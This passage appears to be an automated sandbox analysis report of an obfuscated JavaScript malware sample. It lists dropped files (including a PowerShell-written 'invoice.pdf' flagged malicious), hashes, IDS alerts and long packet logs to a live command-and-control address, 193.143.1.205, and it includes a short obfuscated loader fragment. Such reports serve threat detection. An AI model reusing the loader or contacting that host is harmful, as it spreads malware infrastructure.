Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f1db8ee9-a8e0-4ac7-b2ce-cc5ecd7cff33.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16300), with CRLF line terminators
Entropy (8bit):	4.921386886336448
TrID:
File name:	3881066198165199.js
File size:	19'879 bytes
MD5:	b3a076c8dd0c32b4cbf1b1844f486ba2
SHA1:	f819b0c004800faa354abebfda57dc994925dcaa
SHA256:	c0870daf60d282f36d16c6d873a1f056b9943890b54120983f0b9268665e3146
SHA512:	2ad5b93950de9c1d83c3657c77279f55d91d35b51b711d02a0bbf9cfcd09f3dea2886d3f19e1cf6324168fd1febf287b280cca320efbda7bf5ff86fd6213c20f
SSDEEP:	192:4TGdeTycZcgLe97ipJr7+cCXZj6GeW0Gj6MKo0q1o6qhoWLU2SUkWyWAk3r2GSBq:7cLJr7vCJIYnKGEaIYRLdDE/oz4jj
TLSH:	509234C4F28AC63356CE41F8CB574CDB267C418BC85520A8CADB65C672226FF55E62B3
File Content Preview:	function gwgfiar(){jybxmab=[1031,3079,5127,4103,2055,3072];var njpjif=this[bagwea+ekjui+bexnqvsv+fpuigitwy+kkoguaaa+evedeep+etuajpdhe+ghoqp](this[fpvgy+hbmdl+xfminaub+bexnqvsv+xqucagv+bagwea+ghoqp][awhnzi+bexnqvsv+kkoguaaa+ekjui+ghoqp+kkoguaaa+xvlfch+jdma

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:02:57.838930+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T20:03:00.386137+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:02:57.015039921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.021198988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.021437883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.024421930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.029187918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838692904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838825941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838838100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838850021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838861942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838875055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838886976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838900089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838911057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838917971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.838929892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.838994980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.843751907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.871393919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.871417046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.871428967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.871459961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.871485949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.964606047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.964618921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.964714050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.964757919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.964767933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.964806080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.964903116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.964915991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.964929104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.964958906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.965308905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.965361118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.965368032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.965380907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.965393066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.965404987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.965418100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.965456009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.966072083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.966094017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.966106892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.966140032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.966664076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.966677904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.966691017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.966702938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.966717958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.966722965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.966747046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.966777086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.967514992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.967528105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.967540979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.967573881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.997972965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.998017073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.998075008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.998276949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.998296022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.998339891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:57.998378992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.998389959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:57.998440981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.057152033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.057164907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.057230949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.119221926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119235992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119250059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119298935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.119327068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119338989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119374990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.119425058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119462967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119474888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119498968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.119561911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.119731903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119817019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119828939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119843006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119854927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.119899035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.119899035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.120388031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.120399952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.120414019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.120424986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.120440006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.120450020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.120482922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.120484114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.120939016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.120950937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.120965004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.121001959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.121032953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.121043921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.121057034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.121068001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.121077061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.121079922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.121098995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.121129036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.121900082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.122004986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.122015953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.122030020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.122044086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.122056961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.122070074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.122085094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.122093916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.122117043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.122206926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.123009920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.123023033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.123034954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.123045921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.123059988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.123071909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.123085022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.123106003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.123138905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.123138905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.131608963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.132276058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132286072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132519007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132525921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.132531881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132566929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132577896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132584095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132592916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.132627010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.132734060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132752895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.132832050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.138330936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.142285109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.196419954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.196435928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.196456909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.196468115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.196541071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.196541071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.211551905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.211565971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.211649895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.244565964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244628906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244669914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244699001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.244705915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244743109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244796991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244834900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244848967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.244848967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.244867086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244913101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.244920015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244955063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.244991064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245024920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245059967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245088100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.245088100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.245096922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245172024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.245306969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245342016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245378971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245414019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245425940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.245511055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.245536089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245595932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245656967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245673895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.245709896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245743990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245764971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.245778084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245812893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245847940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245872974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.245886087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.245910883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.246306896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246341944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246360064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.246377945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246412992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246423960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.246449947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246484041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246520042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246556044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246568918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.246568918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.246594906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246628046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246661901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246691942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.246701956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246723890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.246766090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.246766090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.247132063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247283936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247345924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247380018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247406960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.247415066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247452021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247479916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.247489929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247520924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.247524977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247559071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247594118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247601032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.247627974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247663975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247692108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.247699022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.247775078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.248055935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248100996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.248179913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248234034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248270035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248305082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248341084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248374939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248389959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.248389959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.248411894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248445988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.248481989 CET	80	49704	193.143.1.205	192.168.2.8
